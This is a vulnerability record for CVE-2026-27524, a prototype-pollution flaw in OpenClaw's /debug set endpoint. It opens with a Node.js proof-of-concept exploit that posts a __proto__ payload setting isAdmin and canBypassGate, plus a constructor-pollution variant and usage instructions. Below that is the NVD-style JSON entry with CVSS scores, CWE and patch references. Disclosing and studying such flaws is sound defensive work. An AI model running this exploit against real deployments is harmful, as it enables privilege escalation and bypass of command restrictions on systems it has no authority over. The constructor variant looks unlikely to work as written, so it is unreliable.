CVE-2026-27524

// CVE-2026-27524 PoC - Prototype Pollution via /debug set endpoint // Target: OpenClaw < 2026.2.21 const axios = require('axios'); async function exploit(targetUrl, sessionToken) { const endpoint = `${targetUrl}/debug/set`; // Payload to pollute object prototype const maliciousPayload = { key: '__proto__', value: { isAdmin: true, canBypassGate: true } }; try { const response = await axios.post(endpoint, maliciousPayload, { headers: { 'Authorization': `Bearer ${sessionToken}`, 'Content-Type': 'application/json' } }); console.log('Prototype pollution successful:', response.data); } catch (error) { console.error('Exploitation failed:', error.message); } } // Alternative payload using constructor property const constructorPollutionPayload = { target: 'someObject', properties: { 'constructor.prototype.maliciousMethod': function() { return 'RCE Payload'; } } }; // Usage: node poc.js http://target.com:8080 <session_token>

{"cve": {"id": "CVE-2026-27524", "sourceIdentifier": "[email protected]", "published": "2026-03-18T02:16:23.627", "lastModified": "2026-03-25T15:16:39.000", "vulnStatus": "Modified", "cveTags": [], "descriptions": [{"lang": "en", "value": "OpenClaw versions prior to 2026.2.21 accept prototype-reserved keys in runtime /debug set override object values, allowing prototype pollution attacks. Authorized /debug set callers can inject __proto__, constructor, or prototype keys to manipulate object prototypes and bypass command gate restrictions."}, {"lang": "es", "value": "Las versiones de OpenClaw anteriores a 2026.2.21 aceptan claves reservadas para prototipos en los valores de objeto de anulación de /debug set en tiempo de ejecución, lo que permite ataques de contaminación de prototipos. Los llamadores autorizados de /debug set pueden inyectar claves '__proto__', 'constructor' o 'prototype' para manipular prototipos de objetos y eludir las restricciones de la compuerta de comandos."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 2.3, "baseSeverity": "LOW", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "PRESENT", "privilegesRequired": "LOW", "userInteraction": "NONE", "vulnConfidentialityImpact": "NONE", "vulnIntegrityImpact": "LOW", "vulnAvailabilityImpact": "NONE", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N", "baseScore": 4.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 1.4}, {"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N", "baseScore": 4.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-1321"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:openclaw:openclaw:*:*:*:*:*:node.js:*:*", "versionEndExcluding": "2026.2.21", "matchCriteriaId": "09CAA52D-0C33-41B4-854A-338CBFC45513"}]}]}], "references": [{"url": "https://github.com/openclaw/openclaw/commit/fbb79d4013000552d6a2c23b9613d8b3cb92f6b6", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/openclaw/openclaw/security/advisories/GHSA-62f6-mrcj-v8h5", "source": "[email protected]", "tags": ["Vendor Advisory"]}, {"url": "https://www.vulncheck.com/advisories/openclaw-prototype-pollution-via-debug-override-path", "source": "[email protected]", "tags": ["Third Party Advisory"]}]}}